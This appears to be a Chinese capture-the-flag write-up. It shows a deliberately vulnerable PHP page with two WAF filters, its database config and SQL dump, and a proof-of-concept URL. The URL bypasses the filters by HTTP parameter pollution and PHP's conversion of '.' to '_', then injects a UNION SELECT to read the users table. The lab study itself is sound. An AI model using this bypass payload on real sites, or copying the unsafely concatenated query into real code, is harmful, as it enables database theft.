一道考查request导致的安全性问题的ctf题
这道题是在看红日安全团队的代码审计系列文章时碰到的,感觉挺有意思的,所以做了下。题目代码如下
//index.php <?php require 'db.inc.php'; function dhtmlspecialchars($string) { if (is_array($string)) { foreach ($string as $key => $val) { $string[$key] = dhtmlspecialchars($val); } } else { $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string); if (strpos($string, '&#') !== false) { $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string); } } return $string; } function dowith_sql($str) { $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str); if ($check) { echo "非法字符!"; exit(); } return $str; } // 经过第一个waf处理 foreach ($_REQUEST as $key => $value) { $_REQUEST[$key] = dowith_sql($value); } // 经过第二个WAF处理 $request_uri = explode("?", $_SERVER['REQUEST_URI']); if (isset($request_uri[1])) { $rewrite_url = explode("&", $request_uri[1]); foreach ($rewrite_url as $key => $value) { $_value = explode("=", $value); if (isset($_value[1])) { $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1])); } } } // 业务处理 if (isset($_REQUEST['submit'])) { $user_id = $_REQUEST['i_d']; $sql = "select * from ctf.users where id=$user_id"; $result=mysql_query($sql); while($row = mysql_fetch_array($result)) { echo "<tr>"; echo "<td>" . $row['name'] . "</td>"; echo "</tr>"; } } ?>
//db.inc.php <?php $mysql_server_name="localhost"; $mysql_database="ctf"; /** 数据库的名称 */ $mysql_username="root"; /** MySQL数据库用户名 */ $mysql_password="root"; /** MySQL数据库密码 */ $conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8'); ?>
//ctf.sql # Host: localhost (Version: 5.5.53) # Date: 2018-08-18 21:42:20 # Generator: MySQL-Front 5.3 (Build 4.234) /*!40101 SET NAMES utf8 */; # # Structure for table "users" # DROP TABLE IF EXISTS `users`; CREATE TABLE `users` ( `Id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `pass` varchar(255) DEFAULT NULL, `flag` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; # # Data for table "users" # /*!40000 ALTER TABLE `users` DISABLE KEYS */; INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{R3qu3st_Is_1nterEst1ng}'); /*!40000 ALTER TABLE `users` ENABLE KEYS */;
绕过原理利用的是HTTP参数污染、$_SERVER['REQUEST_URI']以及$_REQUEST会对特殊字符(空格、.、[)转换成为下划线_。详细可参考文章request导致的安全性问题分析。
利用POC:
http://172.19.77.44/hongri/index.php?submit&i_d=1/**/union/**/select/**/1,name,3,4/**/from/**/ctf.users&i.d=113
结果如下图: